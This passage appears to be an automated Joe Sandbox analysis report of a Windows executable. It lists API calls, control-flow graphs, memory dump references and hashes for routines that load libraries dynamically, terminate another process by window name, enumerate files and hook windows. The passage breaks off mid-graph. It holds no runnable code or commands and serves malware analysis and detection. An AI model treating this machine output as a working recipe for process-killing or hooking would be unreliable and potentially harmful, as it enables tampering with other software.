          • OleInitialize.OLE32(00000000), ref: 00440F95
          • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00440FB3
          • SetCurrentDirectoryA.KERNEL32(022C56C8,?), ref: 0044100D
          • LoadCursorA.USER32(00000000,00007F00), ref: 00441068
          • GetStockObject.GDI32(00000005), ref: 00441089
          • GetCurrentThreadId.KERNEL32 ref: 004410B1
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Current$CursorDirectoryFileHeapInitializeLoadModuleNameObjectProcessStockThread
          • String ID: yJ$L<J$_EL_HideOwner
          • API String ID: 3783217854-935527023
          • Opcode ID: 57b2d096cb72a31a9a24e0629458f4f36cbe27a87ddec9a68f25fbde4c42fcae
          • Instruction ID: ace573792b31cd27e3ad006113ce362d78a8794010663ea73e95b13c9c07c022
          • Opcode Fuzzy Hash: 57b2d096cb72a31a9a24e0629458f4f36cbe27a87ddec9a68f25fbde4c42fcae
          • Instruction Fuzzy Hash: 07E12474A002059FEB14DF64CC81BEE77B4FF45308F14417EE905AB2A2DB78A945CBA9

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 871 41aad0-41aaf5 872 41ab95-41aba4 871->872 873 41aafb-41ab06 871->873 876 41ae59-41ae6a 872->876 877 41abaa-41abba 872->877 874 41ab15-41ab18 873->874 875 41ab08-41ab12 873->875 878 41ab1a-41ab2b call 481438 874->878 879 41ab2d 874->879 875->874 880 41abcb-41abe8 call 40a6b0 877->880 881 41abbc-41abc6 call 481438 877->881 884 41ab2f-41ab41 GetProcAddress 878->884 879->884 892 41ad01 880->892 893 41abee-41ac01 call 482690 880->893 881->880 888 41ab43-41ab73 call 424420 call 41aeb0 call 491d7c 884->888 889 41ab78-41ab92 call 41aab0 884->889 888->889 896 41ad06-41ad14 LoadLibraryA 892->896 906 41ac07-41ac18 893->906 907 41accc-41acd3 LoadLibraryA 893->907 899 41ad51-41ad5a 896->899 900 41ad16-41ad24 GetProcAddress 896->900 899->896 908 41ad5c-41ad67 899->908 903 41ad26-41ad31 900->903 904 41ad3c-41ad46 900->904 903->904 912 41ad33-41ad39 903->912 904->908 913 41ad48-41ad4f FreeLibrary 904->913 915 41ac42-41ac8f call 491fc5 * 2 LoadLibraryA call 491d7c * 2 906->915 916 41ac1a-41ac38 call 491fc5 LoadLibraryA call 491d7c 906->916 907->908 911 41acd9-41ace7 GetProcAddress 907->911 909 41ae36-41ae38 908->909 910 41ad6d-41ad6f 908->910 919 41ae50-41ae56 909->919 920 41ae3a-41ae45 909->920 917 41ad71-41ad72 FreeLibrary 910->917 918 41ad78-41ad87 call 40a6b0 910->918 911->908 922 41ace9-41acf4 911->922 912->904 913->899 915->911 951 41ac91-41aca2 915->951 916->911 936 41ac3e 916->936 917->918 933 41ade0-41ae33 call 424420 call 41aeb0 call 491d7c 918->933 934 41ad89-41addd call 424420 call 41aeb0 call 491d7c 918->934 919->876 920->919 925 41ae47-41ae4d 920->925 922->908 927 41acf6-41acff 922->927 925->919 927->908 936->915 954 41acc4-41acc6 951->954 955 41aca4-41acbf call 491fc5 LoadLibraryA call 491d7c 951->955 954->911 956 41acc8 954->956 955->954 956->907
          APIs
          • GetProcAddress.KERNEL32(00000000,004CB21C), ref: 0041AB37
          • LoadLibraryA.KERNEL32(?,?,004DB5E8), ref: 0041AC29
          • LoadLibraryA.KERNEL32(?,?), ref: 0041AC6F
          • LoadLibraryA.KERNEL32(?,?,004DB4F0,00000001), ref: 0041ACB7
          • LoadLibraryA.KERNEL32(00000001), ref: 0041ACCD
          • GetProcAddress.KERNEL32(00000000,?), ref: 0041ACDF
          • FreeLibrary.KERNEL32(00000000), ref: 0041AD72
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Library$Load$AddressProc$Free
          • String ID:
          • API String ID: 3120990465-0
          • Opcode ID: 871ac5e4bd2ee63b974b1dd3554d00c8a811ecf772eb223d5689162729969406
          • Instruction ID: 72d55d5f555420c714174a446375559edfe6da7d10553acc287504182622b36b
          • Opcode Fuzzy Hash: 871ac5e4bd2ee63b974b1dd3554d00c8a811ecf772eb223d5689162729969406
          • Instruction Fuzzy Hash: BEA1D4B5601702AFC710DF65D881BABB7A9FF88314F040A2EF81597351DB38E954CB9A

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 1195 4071ea-407298 call 407f09 1198 4072b1-4072fd call 407efd * 2 call 4016f9 1195->1198 1199 40729a-4072ae call 407f03 1195->1199 1208 407308-407311 1198->1208 1209 4072ff-407305 call 407ef7 1198->1209 1199->1198 1210 407313-407319 call 407ef7 1208->1210 1211 40731c-40734f call 407efd 1208->1211 1209->1208 1210->1211 1218 407355-40737c call 407f09 1211->1218 1219 40739d-4073c4 call 407f09 1211->1219 1226 407395-407398 1218->1226 1227 40737e-407392 call 407f03 1218->1227 1224 4073c6-4073da call 407f03 1219->1224 1225 4073dd 1219->1225 1224->1225 1229 4073e0-4073e4 1225->1229 1226->1229 1227->1226 1232 407412-407425 1229->1232 1233 4073ea-4073f7 1229->1233 1237 40744b 1232->1237 1238 40742b-407431 1232->1238 1235 407402-40740d 1233->1235 1236 4073f9-4073ff call 407ef7 1233->1236 1241 407b49-407b4f 1235->1241 1236->1235 1239 407450-407452 1237->1239 1242 407433 1238->1242 1243 40743c-40743e 1238->1243 1245 4074c0-4074ea call 407efd 1239->1245 1246 407458-40749d call 407efd call 4016f9 1239->1246 1247 407b51-407b57 call 407ef7 1241->1247 1248 407b5a-407b5f 1241->1248 1250 407435-407439 1242->1250 1251 40743b 1242->1251 1243->1237 1244 407444-407449 1243->1244 1244->1239 1265 4074f5-407505 1245->1265 1266 4074ec-4074f2 call 407ef7 1245->1266 1283 4074a8-4074b1 1246->1283 1284 40749f-4074a5 call 407ef7 1246->1284 1247->1248 1255 407b61-407b67 call 407ef7 1248->1255 1256 407b6a-407b6f 1248->1256 1250->1243 1250->1251 1251->1243 1255->1256 1261 407b71-407b77 call 407ef7 1256->1261 1262 407b7a-407b7f 1256->1262 1261->1262 1263 407b81-407b87 call 407ef7 1262->1263 1264 407b8a-407b8f 1262->1264 1263->1264 1271 407b91-407b97 call 407ef7 1264->1271 1272 407b9a-407b9f 1264->1272 1274 407507 1265->1274 1275 40750c-40754a call 407efd call 407f09 1265->1275 1266->1265 1271->1272 1281 407ba1-407ba7 call 407ef7 1272->1281 1282 407baa-407bae 1272->1282 1274->1275 1298 407563-40756a 1275->1298 1299 40754c-407560 call 407f03 1275->1299 1281->1282 1290 4074b3-4074b9 call 407ef7 1283->1290 1291 4074bc-4074bd 1283->1291 1284->1283 1290->1291 1291->1245 1301 407570-40757d 1298->1301 1302 407598-4075b8 1298->1302 1299->1298 1304 407588-407593 1301->1304 1305 40757f-407585 call 407ef7 1301->1305 1306 4075d2 1302->1306 1307 4075be-4075c2 1302->1307 1304->1241 1305->1304 1311 4075d7-4075d9 1306->1311 1309 4075c4 1307->1309 1310 4075c8 1307->1310 1309->1310 1310->1306 1313 4075ce-4075d0 1310->1313 1314 407621-40762f 1311->1314 1315 4075df-4075ff 1311->1315 1313->1311 1318 407631 1314->1318 1319 407636-40764b call 407efd 1314->1319 1316 407601 1315->1316 1317 407606-40761c call 407efd 1315->1317 1316->1317 1324 4076f8-4076fc 1317->1324 1318->1319 1325 407651-407671 1319->1325 1326 407693-4076b3 1319->1326 1327 407702-40770f 1324->1327 1328 40772a-40772e 1324->1328 1329 407673 1325->1329 1330 407678-40768e call 407efd 1325->1330 1331 4076b5 1326->1331 1332 4076ba-4076cd call 407efd 1326->1332 1334 407711-407717 call 407ef7 1327->1334 1335 40771a-407725 1327->1335 1337 407730 1328->1337 1338 407734 1328->1338 1329->1330 1345 4076d0-4076f5 call 407efd 1330->1345 1331->1332 1332->1345 1334->1335 1335->1241 1337->1338 1342 407748-407772 call 407efd 1338->1342 1343 40773a-40773d call 407bb1 1338->1343 1352 407778-407789 1342->1352 1348 407742-407745 1343->1348 1345->1324 1348->1342 1353 407794-4077a5 1352->1353 1354 40778f 1352->1354 1356 4077a7 1353->1356 1357 4077aa-4077b3 call 407f09 1353->1357 1355 407a9a-407ac9 call 407efd call 407f09 1354->1355 1370 407ae2-407af3 1355->1370 1371 407acb-407adf call 407f03 1355->1371 1356->1357 1361 4077b8-4077bb 1357->1361 1363 4077d4-4077db 1361->1363 1364 4077bd-4077d1 call 407f03 1361->1364 1365 4077e1-40780a call 407efd 1363->1365 1366 407825-407829 1363->1366 1364->1363 1383 407815-407820 1365->1383 1384 40780c-407812 call 407ef7 1365->1384 1372 40782b 1366->1372 1373 40782f 1366->1373 1377 407b21-407b2e 1370->1377 1378 407af9-407b06 1370->1378 1371->1370 1372->1373 1379 407835 1373->1379 1380 40783f-407855 1373->1380 1381 407b30-407b36 call 407ef7 1377->1381 1382 407b39-407b44 1377->1382 1386 407b11-407b1c 1378->1386 1387 407b08-407b0e call 407ef7 1378->1387 1379->1355 1388 407857 1380->1388 1389 40785c-40787b call 407efd 1380->1389 1381->1382 1382->1241 1383->1241 1384->1383 1386->1241 1387->1386 1388->1389 1398 407886-407896 1389->1398 1399 40787d-407883 call 407ef7 1389->1399 1401 407898 1398->1401 1402 40789d-407916 call 407efd call 4016d2 call 407efd call 4016d2 1398->1402 1399->1398 1401->1402 1413 407923-40796f call 4016d2 call 407efd 1402->1413 1414 40791c 1402->1414 1419 407971-407977 call 407ef7 1413->1419 1420 40797a-4079a7 call 407efd 1413->1420 1414->1413 1419->1420 1425 4079b2-4079df call 407efd 1420->1425 1426 4079a9-4079af call 407ef7 1420->1426 1431 4079e1-4079e7 call 407ef7 1425->1431 1432 4079ea-407a7c call 407f0f * 3 call 407f09 1425->1432 1426->1425 1431->1432 1443 407a95 1432->1443 1444 407a7e-407a92 call 407f03 1432->1444 1443->1352 1444->1443
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID: Range:bytes=$-:J$Agent$I:J$W:J$h:J$s:J$|9J$6J$6J
          • API String ID: 0-3127121528
          • Opcode ID: e89444e681b2af7695cfd66b6436b70af4d93e2a71f18ea69b3d2c2288207bac
          • Instruction ID: 2ec5a9a1b8e5698a68607ff46b719a98d5a7082e6e17eedb64a04cd0bcafab12
          • Opcode Fuzzy Hash: e89444e681b2af7695cfd66b6436b70af4d93e2a71f18ea69b3d2c2288207bac
          • Instruction Fuzzy Hash: 714251B0E04308ABEB10DFD5CC92B9E77B4EB18314F14447AFA057A2C2D77A6954CB5A

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 1447 4927a8-4927d3 call 483ff4 GetFullPathNameA 1450 4927d5-4927e2 lstrcpynA 1447->1450 1451 4927e7-492816 call 492878 GetVolumeInformationA 1447->1451 1452 492868-492875 1450->1452 1455 492818-49281c 1451->1455 1456 49285a-492866 call 491d7c 1451->1456 1458 49281e-49281f CharUpperA 1455->1458 1459 492825-492829 1455->1459 1456->1452 1458->1459 1461 49282b-49283e FindFirstFileA 1459->1461 1462 492857-492859 1459->1462 1461->1462 1463 492840-492851 FindClose lstrcpyA 1461->1463 1462->1456 1463->1462
          APIs
          • __EH_prolog.LIBCMT ref: 004927AD
          • GetFullPathNameA.KERNEL32(?,00000104,?,?,?,?), ref: 004927CB
          • lstrcpynA.KERNEL32(?,?,00000104), ref: 004927DA
          • GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000,?,?), ref: 0049280E
          • CharUpperA.USER32(?), ref: 0049281F
          • FindFirstFileA.KERNEL32(?,?), ref: 00492835
          • FindClose.KERNEL32(00000000), ref: 00492841
          • lstrcpyA.KERNEL32(?,?), ref: 00492851
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Find$CharCloseFileFirstFullH_prologInformationNamePathUpperVolumelstrcpylstrcpyn
          • String ID:
          • API String ID: 304730633-0
          • Opcode ID: ef75e455784ed6a1184ce4f9244df7ad98e65e48b2dcaa317038cfd6791330ac
          • Instruction ID: 81974bb4ca29b327d52bd62ab9cb73b515afdf2dc2f653f854d17581dce7b2b6
          • Opcode Fuzzy Hash: ef75e455784ed6a1184ce4f9244df7ad98e65e48b2dcaa317038cfd6791330ac
          • Instruction Fuzzy Hash: 45216B71900019BBDF10EF65DC48EEF7FB8EF46764F00826AB919E2160C7748A45CBA4

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 1486 468c30-468c6e call 491dea 1489 468c74-468c7d 1486->1489 1490 468d02 1486->1490 1492 468c7f-468c95 call 491d7c 1489->1492 1493 468c9a-468ca5 FindWindowA 1489->1493 1491 468d06-468d0c 1490->1491 1494 468d26-468d50 OpenProcess TerminateProcess call 491d7c 1491->1494 1495 468d0e-468d24 call 491d7c 1491->1495 1506 468d52-468d67 1492->1506 1497 468ca7-468cb3 GetWindowThreadProcessId 1493->1497 1498 468cb5-468cd5 CreateToolhelp32Snapshot Process32First 1493->1498 1494->1506 1495->1506 1497->1491 1498->1491 1499 468cd7-468ceb call 481633 1498->1499 1508 468cfe 1499->1508 1509 468ced-468cfa Process32Next 1499->1509 1508->1490 1509->1499 1510 468cfc 1509->1510 1510->1491
          APIs
          • FindWindowA.USER32(00000000,?), ref: 00468C9D
          • GetWindowThreadProcessId.USER32(00000000,?), ref: 00468CAD
          • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00468D2B
          • TerminateProcess.KERNEL32(00000000,00000000), ref: 00468D34
            • Part of subcall function 00491D7C: InterlockedDecrement.KERNEL32(-000000F4), ref: 00491D90
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Process$Window$DecrementFindInterlockedOpenTerminateThread
          • String ID:
          • API String ID: 2770076521-0
          • Opcode ID: 7584e538bcd18a1da0c304b25626c65decf149725eb2eebd24c2080c940861af
          • Instruction ID: 493a57812b136eb5f1927a52800b362462cf0f34a86a25e97a0753eaec120660
          • Opcode Fuzzy Hash: 7584e538bcd18a1da0c304b25626c65decf149725eb2eebd24c2080c940861af
          • Instruction Fuzzy Hash: F2319470204302AFD720DF25D945BAB77E4AF99750F008B1EF959922D0EB389804CB6B
          APIs
          • lstrcpyA.KERNEL32(-0000002C,?,?,?,?,00468DB7), ref: 0048020E
          • FindFirstFileA.KERNEL32(?,?,?,00468DB7), ref: 00480218
          • GetLastError.KERNEL32(?,00468DB7), ref: 00480226
          • SetLastError.KERNEL32(0000007B,000000FF), ref: 00480271
            • Part of subcall function 004921AF: lstrlenA.KERNEL32(?,00000100,0049762E,000000FF,004BBE84,00000000,000000FF,00000100,004BBE84,004BBE84,?,00000100,00000000,0041AEA0), ref: 004921C2
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ErrorLast$FileFindFirstlstrcpylstrlen
          • String ID: *.*
          • API String ID: 334723784-438819550
          • Opcode ID: 9b9933da443b9be18be4f34fc4d6e3f59c8a6a401c381ae63261f613a595e68d
          • Instruction ID: 9f336333f8613fc0eaa776252b482951a00546c8492d6674a97c098c2c1aa8a9
          • Opcode Fuzzy Hash: 9b9933da443b9be18be4f34fc4d6e3f59c8a6a401c381ae63261f613a595e68d
          • Instruction Fuzzy Hash: 3621AC325103006BE7217B728C49F2F7A98AF953A4F100E6FF961C62D1DBEC8C088369
          APIs
          • GetVersion.KERNEL32(?,?,?,0049C364), ref: 0049C3E0
          • GetProcessVersion.KERNEL32(00000000,?,?,?,0049C364), ref: 0049C41D
          • LoadCursorA.USER32(00000000,00007F02), ref: 0049C44B
          • LoadCursorA.USER32(00000000,00007F00), ref: 0049C456
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CursorLoadVersion$Process
          • String ID:
          • API String ID: 2246821583-0
          • Opcode ID: faf2c824fa4d93d271206e205fda301b20503d7e055a0a8bc21b2751a9081402
          • Instruction ID: da8f3a1a56b667b3c5a71a27398904d6e7597b7d9e91e148837934354c1b4843
          • Opcode Fuzzy Hash: faf2c824fa4d93d271206e205fda301b20503d7e055a0a8bc21b2751a9081402
          • Instruction Fuzzy Hash: B9118CB1A047508FD7249F3E889462ABBE5FB487047104D3FE18BC6B90DB78E401CB54
          APIs
          • FindFirstFileA.KERNEL32(?,?), ref: 00423620
          • FindClose.KERNEL32(00000000), ref: 0042362C
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Find$CloseFileFirst
          • String ID:
          • API String ID: 2295610775-0
          • Opcode ID: 42cdd4454b8f482f3d58abe467e47b5561412c76018b7bbdda060744193e296d
          • Instruction ID: f5741ab735b184388de444c0c30d768ab6f19bf4c5fb54c9c8e699a69c6cf6be
          • Opcode Fuzzy Hash: 42cdd4454b8f482f3d58abe467e47b5561412c76018b7bbdda060744193e296d
          • Instruction Fuzzy Hash: F0D05E755001006BF7219F75ED086AA36A8A744312FC40A28B92DC12F0F63EC9198615

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 485 493a30-493a4c call 49b84d 488 493a4e-493a60 CallNextHookEx 485->488 489 493a65-493a81 call 49b2c5 485->489 490 493c22-493c23 488->490 493 493a83-493a87 489->493 494 493a95-493a9c 489->494 497 493a8d-493a8f 493->497 498 493bf6 493->498 495 493aea-493aec 494->495 496 493a9e-493aac GetClassLongA 494->496 501 493b9b-493ba9 GetWindowLongA 495->501 502 493af2-493b15 call 49379d 495->502 496->498 499 493ab2-493abd 496->499 497->494 497->498 500 493bf9-493c0e CallNextHookEx 498->500 503 493abf-493ad3 GlobalGetAtomNameA 499->503 504 493ad6-493ae4 lstrcmpiA 499->504 505 493c1d-493c21 500->505 506 493c10-493c19 UnhookWindowsHookEx 500->506 501->498 508 493bab-493bbc GetPropA 501->508 516 493b78-493b8b call 49384f SetWindowLongA 502->516 517 493b17-493b1b 502->517 503->504 504->495 504->498 505->490 506->505 508->498 510 493bbe-493bd0 SetPropA GetPropA 508->510 510->498 511 493bd2-493be5 GlobalAddAtomA 510->511 512 493bec-493bf0 SetWindowLongA 511->512 513 493be7 511->513 